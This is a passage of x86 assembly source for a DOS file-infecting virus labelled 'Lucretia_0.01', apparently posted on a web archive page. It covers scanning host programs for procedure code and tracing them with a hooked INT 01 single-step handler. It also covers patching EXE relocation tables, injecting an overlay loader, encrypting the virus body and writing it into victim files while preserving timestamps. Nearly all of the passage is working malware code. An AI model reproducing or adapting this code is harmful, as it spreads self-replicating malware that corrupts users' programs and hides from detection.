je search_fail

; Check for procedure exit code

search_4:
mov ah,[si]
cmp ax,0e58bh ;Check for MOV SP,BP
je search_6
cmp ax,0ec89h
je search_6
cmp ax,0c483h ;Check for ADD SP,immediate
je search_5
cmp ax,0c481h
jne search_9
dec cx
inc si
search_5:
dec cx
inc si
search_6:
dec cx
inc si
cmp byte ptr [si],5dh ;Check for POP BP
jne search_3
dec cx
inc si
mov al,[si]
and al,0f7h
cmp al,0c3h ;Check for RET[F]
je search_7
xor al,0c2h ;Check for RET[F] immediate
jne search_13
cmp [si+2],al
jne search_13
dec cx
dec cx
lodsw
search_7:
dec cx
inc si
dec cx
lodsb
cmp al,90h ;Check for an optional NOP
jne search_8 ; (word alignment of code)
dec cx
lodsb
search_8:
lea bp,[si-1]
inc dx

; Check for procedure entry code

search_9:
cmp al,55h ;Check for PUSH BP
jne search_12
cmp [si],0ec83h ;Check for SUB SP,immediate
je search_10
cmp [si],0ec81h
jne search_11
dec cx
inc si
search_10:
dec cx
inc si
dec cx
dec cx
lodsw
search_11:
cmp [si],0ec8bh ;Check for MOV BP,SP
je search_15
cmp [si],0e589h
je search_15
search_12:
dec dx
jnz search_3
search_13:
mov ss:[trap_last],dx ;No current procedure found
search_14:
jmp search_3
search_15:
dec cx
dec cx
lodsw
or dx,dx
jz search_13

; Control arrives here if a procedure end has been found

push di
push si
push cx
push bx
push ds
push ss
pop ds
mov di,bp
xchg ds:[trap_last],di
or di,di
jz search_16 ;No procedure entry
sub bp,di
cmp bp,1000h ;Discard procedures longer than
jae search_16 ; 4096 bytes
inc ds:[proc_count]
cmp bp,ds:[best_proc_len] ;Ignore if longer than best
ja search_16 ; match
pop ax
push ax
push di
sub ax,ds:[psp_seg]
mov dx,16
sub ax,dx
mul dx
add di,ax ;DX:DI = Procedure position
adc dl,dh
mov ax,search_fail-base ;Dummy callback
call process_header
pop si
add bx,loader_len
cmp bp,bx ;Not enough room for overlay
jb search_16 ;

loader 
cmp ds:[best_proc_len],-1
rol ds:[trap_count+1],1 ;Random number here
ja search_16
mov ds:[best_proc_len],bp ;Save best match
mov ds:[best_proc_pos],di
mov ds:[best_proc_pos+2],dx
pop ds
push ds
mov di,offset code_buf
mov cx,tmp_area_len+base_addr-main_entry
rep movsb ;Copy procedure code to buffer
search_16:
pop ds
pop bx
pop cx
pop si
pop di
jmp search_14 ;Continue the search

; Process EXE relocation table to find items that point to the selected region

process_header:
mov ds:[tmp_callback],ax
mov si,offset relo_table
xor bx,bx
cmp ds:[exe_flag],bl
je header_5 ;Exit if COM file
mov cx,ds:[exe_header+6]
header_1:
lodsw
lodsw
push bx
push dx
mov dx,16
mul dx
xor bl,bl
add ax,[si-4]
adc bl,dl
pop dx
sub ax,di
sbb bl,dl

; Compare against min(maximal overlay loader length,procedure length)

cmp bp,tmp_area_len+base_addr-main_entry
jc header_2
cmp ax,tmp_area_len+base_addr-main_entry
jmp short header_3
header_2:
cmp ax,bp
header_3:
sbb bl,dh
pop bx
jae header_4 ;Outside the region
cmp bx,(tmp_area_len-tmp_len) and -2
je header_fail ;Relocation buffer full
mov [bx+relo_buf],ax ;Save to relocation buffer
inc bx
inc bx
call ds:[tmp_callback] ;Call user callback procedure
header_4:
loop header_1
header_5:
mov ds:[relo_len],bx ;Save relocation buffer length
ret
header_fail:
xor bp,bp
ret

; Prepare for attempting infection method #2 (COM files only)

trap_setup:
push di
xor di,di
mov es,di
les bx,es:[di+4]
call set_trap ;Save INT 01 vector
push ds
pop es
xor ax,ax
mov ds:[trap_last],ax

; Initialize CRC table

crc_setup_1:
push ax
mov cx,8
crc_setup_2:
shr ax,1
jnc crc_setup_3
xor ax,0a001h ;CRC polynomial
crc_setup_3:
loop crc_setup_2
stosw
pop ax
inc al
jnz crc_setup_1

; Initialize check sum map: file image is broken into 256-byte pages; a CRC-16
; for each available page is stored, zero is stored for unavailable pages

mov cl,byte ptr ds:[file_size+1]
sub cl,7 ;Discard last 8 pages
pop ds
stosw ;Discard PSP
mov si,100h
push si
push cx
crc_file: ;CRC the whole code image and
call crc_page ; store the values to the map
stosw
loop crc_file
xchg ax,cx
pop cx
not cl ;Fill the map up to the end
rep stosw ; with zeros
pop bx
trace_jumps:
mov al,bh
shl ax,1
mov di,offset checkmap_buf
add di,ax
xor ax,ax
mov cl,8 ;Discard 2048 bytes (8 pages)
rep stosw
mov al,[bx]
add bx,[bx+1]
add bx,3
and al,0feh
cmp al,0e8h ;Check for JMP or CALL at entry
je trace_jumps ;Keep discarding if positive
mov bh,3
push cs ;Point INT 01 (single step) to
pop ds ; our handler and prepare for
mov dx,trap_entry-base ; tracing
mov ax,2501h

dos:
pushf
push cs
call dos_go
ret
seek_rel:
mov dx,ds:[exe_header+18h]
seek:
mov ax,4200h
jmp dos
seek_eof:
mov ax,4202h
dos_z:
xor cx,cx
cwd
jmp dos

; Perform a CRC-16 over a file page, using precomputed CRC table

crc_page:
call swap_ds_es
push cx
push di
xor bh,bh
xor dx,dx
mov cl,80h
crc_page_loop:
lods word ptr es:[si]
xor al,dl
mov bl,al
mov dl,dh
mov dh,bh
mov di,bx
xor dx,[bx+di]
xor ah,dl
mov bl,ah
mov dl,dh
mov dh,bh
mov di,bx
xor dx,[bx+di]
loop crc_page_loop
pop di
pop cx
xchg ax,dx
swap_ds_es:
push ds
push es
pop ds
pop es
ret

; Control arrives here after each instruction of the user program being single
; stepped through

trap_entry:
call push_all
les di,[bp+16h]
mov cx,es ;Check if code segment
mov ds,es:[53h] ; unchanged
xor cx,ds:[psp_seg]
jne trap_stop ;Exit if negative
dec di
dec di
cmp es:[di],1cdh ;Check for INT 01 placed after
jne trap_check ; a REP instruction
cmp ds:[trap_last],di
jne trap_check
mov ax,ds:[trap_save] ;Restore the overwritten
stosw ; instruction if positive, re-
inc byte ptr [bp+1bh] ; enter single step mode, and
sub word ptr [bp+16h],2 ; adjust the IP back
jmp short trap_done
trap_check:
mov es,cx
mov ax,es:[46ch] ;Check if more than half a
sub ax,ds:[rand_seed] ; second has elapsed
cmp ax,9
ja trap_cancel ;Exit if positive
mov al,[bp+17h]
shl ax,1
push ds
pop es
mov di,offset checkmap_buf
add di,ax ;Consult the check sum map to
cmp [di],cx ; find out if current page is
je trap_rep ; available, exit if negative
shr ax,1
xchg al,ah
xchg si,ax
lds ax,[bp+16h]
add ax,loader_len+255
sub ax,si
mov cl,ah
push di
crc_check: ;Check if pages that would be
call crc_page ; occupied by the overlay
scasw ; loader are unchanged
loope crc_check
pop di
xchg ax,cx ;(marking current page as un-
stosw ; available)
jne trap_rep ;Exit if negative
mov ax,[bp+16h]
mov si,ax
mov di,offset code_buf
mov cx,loader_len
rep movsb ;Copy selected code to buffer
push es
pop ds
dec ah
mov ds:[inject_pos],ax ;Save its position
dec ds:[trap_count] ;Random value
jnz trap_rep
trap_cancel:
call unhook_trap
trap_stop:
dec byte ptr [bp+1bh] ;Exit single step mode
trap_done:
call pop_all ;Exit to caller
iret
trap_rep:
lds si,[bp+16h]
xchg es:[trap_last],si ;Check if IP is the same as it
cmp [bp+16h],si ; was at the previous step
jne trap_done ;Exit if negative
mov bx,si
trap_rep_1:
lodsb ;Check for REP(NZ)
and al,0feh
cmp al,0f2h
je trap_rep_2
dec si
trap_rep_2:
lodsb ;Check for segment prefix
and al,0e7h
cmp al,26h
je trap_rep_1
dec si
lodsb
and al,0feh
cmp al,0aah ;Check for STOS
je trap_rep_3
and al,0f4h
cmp al,0a4h ;Check for MOVS/CMPS/LODS/SCAS
jne trap_done
trap_rep_3:
xchg bx,si
sub bx,si
cmp bx,3
ja trap_done ;Too long
add si,bx
mov ax,1cdh ;Replace next instruction with
xchg [si],ax ; INT 01
mov es:[trap_save],ax
mov es:[trap_last],si
jmp trap_stop ;Exit single step mode

; Restore INT 01 vector to its previous value, if still hooked

unhook_trap:
les bx,dword ptr ds:[trap_chain]
mov ax,es
or ax,bx
jz unhook_done
push ds
xor di,di
mov ds,di
mov [di+4],bx
mov [di+6],es
pop ds
zero_trap:
xor bx,bx
mov es,bx
set_trap:
mov ds:[trap_chain],bx
mov ds:[trap_chain+2],es
unhook_done:
ret

; Control arrives here after termination of the user program to be infected;
; the actual infection is performed here

terminate_entry:
push ss
pop ds
call unhook_trap ;Unhook INT 01 if still hooked
mov ax,ds:[inject_pos]
or ax,ds:[inject_pos+2]
jz unhook_done ;Exit if cannot infect
mov al,7
int 29h ;Beep at file infection
mov ax,3524h
call dos
push es
push bx
push cs
pop ds
mov dx,crit_err_entry-base
mov ax,2524h ;Install own critical error
push ax ; handler
call dos
push ss
pop es
mov si,main_entry-base
mov di,offset loader_buf
mov cx,loader_len ;Copy overlay loader to work
rep movsb ; segment
push ss
pop ds
mov dx,offset exec_name
mov ax,3d01h
call dos
jc infect_fail
xchg bx,ax
mov ax,5700h ;Preserve file's date and time
call dos
push dx
push cx
call adj_relo
call write ;Write originally overwirtten
jc infect_done ; code at end of file
push cx

; Patch position to load encrypted code from into overlay loader code

mov ax,4201h
call dos_z
mov word ptr ds:[load_1_pos_lo+1-main_entry+loader_buf],ax
mov word ptr ds:[load_1_pos_hi+1-main_entry+loader_buf],dx
call encrypt_code ;Encrypt and write virus body
pop cx
jc infect_done
push cx
les dx,dword ptr ds:[inject_pos]
mov cx,es
call seek ;Seek to the position of
pop cx ; selected region and write the
mov dx,offset loader_buf ; patched overlay loader to it
call write
jc infect_done
xor cx,cx
cmp ds:[relo_len],cx
je infect_done
call seek_rel ;Seek to and rewrite relocation
call calc_rel_size ; table of EXE file, if present
call write
infect_done:
pop cx ;Restore file's date and time
pop dx
mov ax,5701h
call dos
call close_f
infect_fail:
pop ax
pop dx
pop ds
call dos ;Restore critical error handler
clc
ret

; Critical error handler

crit_err_entry:
add sp,6
pop ax
pop bx
pop cx
pop dx
pop si
pop di
pop bp
pop ds
pop es
stc
retf 2

; Prepare code to be overwritten for storing to end of file

adj_relo:
call seek_eof

; Patch position to load originally overwritten code from (current end of file)
; into overlay loader code

mov word ptr ds:[load_0_pos_lo+1-main_entry+loader_buf],ax
mov word ptr ds:[load_0_pos_hi+1-main_entry+loader_buf],dx

; Patch relocation buffer length and saved code length into overlay loader code

mov ax,ds:[relo_len]
mov word ptr ds:[load_0_rel_0+1-main_entry+loader_buf],ax
mov word ptr ds:[load_0_rel_1+1-main_entry+loader_buf],ax
add ax,loader_len
mov word ptr ds:[load_0_read+1-main_entry+loader_buf],ax
xchg dx,ax

; Patch first word of original code into overlay loader for checking

mov ax,ds:[code_buf]
mov word ptr ds:[load_0_check+2-main_entry+loader_buf],ax

; De-relocate code buffer for proper relocation at load time

mov cx,ds:[relo_len]
jcxz adj_relo_3
mov si,offset relo_buf
adj_relo_1:
lodsw
cmp ax,dx
jae adj_relo_2
add ax,offset code_buf
xchg di,ax
mov ax,ds:[psp_seg]
add ax,10h
sub [di],ax
adj_relo_2:
dec cx
loop adj_relo_1
adj_relo_3:
mov cx,dx
mov dx,offset code_buf
ret

; Encrypt and write virus body to file

encrypt_code:
mov si,offset rand_seed
mov di,offset rand_key-main_entry+loader_buf
movsw ;Copy random seed
movsw
mov cl,26
expand_seed:
mov al,[di-4] ;Expand random seed
xor al,[di-3]
rol al,cl
stosb
loop expand_seed
mov cl,12
push bx

; Shuffle the expanded seed a couple of times to make a (more) random key

shuffle_seed:
push cx
mov si,offset rand_key-main_entry+loader_buf
mov di,offset temp_key
push si
push di
mov cl,16
push cs
call simple_crypt_0
pop si
pop di
mov cl,15
rep movsw
pop cx
loop shuffle_seed
xor di,di
xchg ax,bx

; Store the shuffled encryption seed and patch half of it into loader for check

mov word ptr ds:[load_1_check+1-main_entry+loader_buf],ax
stosw
xchg ax,bp
stosw
mov cx,offset ovl_len-4
mov si,di

; Copy virus body to work segment

rep
movs byte ptr es:[di],cs:[si]
mov si,offset rand_key-main_entry+loader_buf
xor di,di
push cs
call crypt_code ;Encrypt it with random key
pop bx
mov cx,offset ovl_len
xor dx,dx

write:
mov ah,40h
read:
call dos
jc write_done
cmp ax,cx
write_done:
ret

db 'Lucretia_0.01' ;Version string
dw 0 ;Serial number

code_end:

ovl_len = ($-base+3)/4*4

; This is the structure of work segment allocated at EXEC (all variables here)

exec_data struc

crc_table label word ;CRC table (512 bytes)
checkmap_buf = crc_table+200h ;Check sum map (512 bytes)
code_buf = checkmap_buf+200h ;Buffer for overwritten code
encrypt_buf db ovl_len dup(?) ;Buffer to encrypt virus body
;(overlaps previous buffers)

loader_buf db loader_len dup(?) ;Buffer for overlay loader
relo_buf label word ;Overlay relocation buffer
db tmp_area_len-tmp_len dup(?)
evendata

save_sp dw ? ;Saved SS:SP
save_ss dw ?

file_size dw ?,? ;User program file size

exe_header dw 20h dup(?) ;User program EXE header
exec_pb dw 11 dup(?) ;Saved EXEC parameter block
exec_name db 80 dup(?) ;File name of EXEC'ed program
open_name db 80 dup(?) ;File name of OPEN'ed program

psp_seg dw ? ;PSP of user program
trap_chain dw ?,? ;Saved INT 01

inject_pos dw ?,? ;Position in file to inject the
; overlay loader, 0 if none
rand_seed dw ?,? ;Random seed, obtained from
; system timer
temp_key dw 32 dup(?) ;Temporary encryption key

relo_len dw ? ;Overlay reloc. buffer length
load_len dw ? ;Code image load length
best_proc_len dw ? ;Length of best match procedure
best_proc_pos dw ?,? ;Position of best match
; procedure

tmp_callback dw ? ;\ temporarily
trap_last dw ? ; \ used
proc_count label word ; > by
trap_save dw ? ; / analyse_exe
trap_count db ?,? ;/ and trap

exe_flag db ? ;Flag if user program is EXE

evendata
exec_stack db 100h dup(?) ;Temporary stack for EXEC

stack_top label word ;Top of temp stack

relo_table label word ;EXE relocation table buffer
;(variable length)

ends

end code_start

--- End LUCRETIA.FEM ----------------------------------------------------------

<<< end of file >>>

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT